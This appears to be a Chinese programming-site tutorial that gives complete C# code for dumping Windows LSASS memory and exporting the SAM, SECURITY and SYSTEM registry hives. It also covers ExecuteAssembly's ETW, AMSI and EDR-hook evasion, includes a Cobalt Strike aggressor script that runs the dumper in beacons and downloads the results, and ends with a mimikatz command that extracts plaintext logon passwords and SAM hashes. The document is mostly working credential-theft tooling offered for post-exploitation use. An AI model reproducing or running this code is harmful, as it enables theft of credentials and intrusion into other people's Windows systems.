C# dump系統(tǒng)lsass內(nèi)存和sam注冊表詳細
1、檢測權(quán)限
因為dump系統(tǒng)lsass內(nèi)存和sam注冊表需要管理員權(quán)限,所以首先需要對當(dāng)前進程上下文權(quán)限做判斷。
public static bool IsHighIntegrity()
{
// returns true if the current process is running with adminstrative
privs in a high integrity context
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
2、lsass內(nèi)存
MiniDumpWriteDump是MS DbgHelp.dll 中一個API, 用于導(dǎo)出當(dāng)前運行的程序的Dump,利用MiniDumpWriteDump實現(xiàn)dump lsass內(nèi)存的功能,先加載MiniDumpWriteDump函數(shù)。
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump",
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode,
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr
userStreamParam, IntPtr callbackParam);
之后調(diào)用函數(shù),并保存dump文件,代碼如下所示:
namespace sharpdump
{
public class MiniDumper
{
public static string MiniDump()
{
Process[] pLsass = Process.GetProcessesByName("lsass");
string dumpFile = Path.Combine(Path.GetTempPath(),
string.Format("lsass{0}.dmp", pLsass[0].Id));
if (File.Exists(dumpFile)) File.Delete(dumpFile);
Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}",
pLsass[0].Id, dumpFile));
using (FileStream fs = new FileStream(dumpFile, FileMode.Create,
FileAccess.ReadWrite, FileShare.Write))
{
bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id,
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (bRet)
{
Console.WriteLine("[+] Dump successful!");
return dumpFile;
}
else
{
Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode:
{0}", Marshal.GetLastWin32Error()));
return null;
}
}
}
}
}
3、實現(xiàn)reg save保存sam注冊表
首先導(dǎo)入需要用到的API。
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
UIntPtr hKey,
string subKey,
int ulOptions,
int samDesired,
out UIntPtr hkResult
);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern int RegSaveKey(
UIntPtr hKey,
string lpFile,
IntPtr lpSecurityAttributes
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegCloseKey(
UIntPtr hKey
);
然后構(gòu)建函數(shù),對"SAM", "SECURITY", "SYSTEM"注冊表進行reg save。
namespace sharpdump
{
internal class Reg
{
public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
public static int KEY_READ = 0x20019;
public static int KEY_ALL_ACCESS = 0xF003F;
public static int REG_OPTION_OPEN_LINK = 0x0008;
public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
public static int KEY_QUERY_VALUE = 0x1;
public static void ExportRegKey(string key, string outFile)
{
var hKey = UIntPtr.Zero;
try
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE |
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey);
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
RegSaveKey(hKey, outFile, IntPtr.Zero);
RegCloseKey(hKey);
Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
}
catch (Exception e)
{
throw e;
}
}
public static string DumpReg(string key)
{
try
{
String addr = key + ".hiv";
addr = Path.Combine(Path.GetTempPath(), addr);
ExportRegKey(key, addr);
return addr;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
Console.WriteLine(e.StackTrace);
return "";
}
}
}
}
文件會被dump到temp目錄下,然后對所有dump成功的文件進行打包處理,方便下載。完整代碼稍后上傳至知識星球。
4、關(guān)于ExecuteAssembly
ExecuteAssembly是CS可執(zhí)行組件的一個替代方案,ExecuteAssembly基于C/C++構(gòu)建,可以幫助廣大研究人員實現(xiàn).NET程序集的加載和注入。
ExecuteAssembly復(fù)用了主機進程spawnto來加載CLR模塊/AppDomainManager,Stomping加載器/.NET程序集PE DOS頭,并卸載了.NET相關(guān)模塊,以實現(xiàn)ETW+AMSI繞過。除此之外,它還能夠繞過基于NT靜態(tài)系統(tǒng)調(diào)用的EDR鉤子,以及通過動態(tài)解析API(superfasthash哈希算法)實現(xiàn)隱藏導(dǎo)入。
當(dāng)前metasploit-framework和Cobalt Strike都已經(jīng)實現(xiàn)了ExecuteAssembly功能,下面主要以Cobalt Strike為例,實現(xiàn)dump系統(tǒng)lsass內(nèi)存和sam注冊表的功能
5、CS 插件
以結(jié)合 Cobalt Strike 為例,編寫一個簡單的cna腳本。
popup beacon_bottom {
menu "Dumper" {
item "SharpDump"{
local('$bid');
foreach $bid ($1){
bexecute_assembly($1, script_resource("Dumper.exe"));
}
}
item "DownloadDump"{
prompt_text("File's address to download", "", lambda({
bdownload(@ids, $1);
}, @ids => $1));
}
}
}
加載腳本后,執(zhí)行SharpDump,結(jié)果如下所示:

下載存放在temp目錄下的dump.gz,然后使用Decompress解壓,最后使用mimikatz 解密用戶lsass.dmp和sam文件
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit lsadump::sam /sam:sam.hiv /system:system.hiv
到此這篇關(guān)于C# dump系統(tǒng)lsass內(nèi)存和sam注冊表詳細的文章就介紹到這了,更多相關(guān)C# dump系統(tǒng)lsass內(nèi)存和sam注冊表內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
C#向數(shù)據(jù)庫中插入或更新null空值與延遲加載lazy
這篇文章介紹了C#向數(shù)據(jù)庫中插入或更新null空值與延遲加載lazy,文中通過示例代碼介紹的非常詳細。對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2022-05-05
使用C#發(fā)送Http請求實現(xiàn)模擬登陸實例
本文主要介紹了使用C#發(fā)送Http請求實現(xiàn)模擬登陸實例,模擬登陸的原理簡單,想要了解的朋友可以了解一下。2016-10-10
VS中C#讀取app.config數(shù)據(jù)庫配置字符串的三種方法
這篇文章主要介紹了VS中C#讀取app.config數(shù)據(jù)庫配置字符串的三種方法,需要的朋友可以參考下2015-10-10

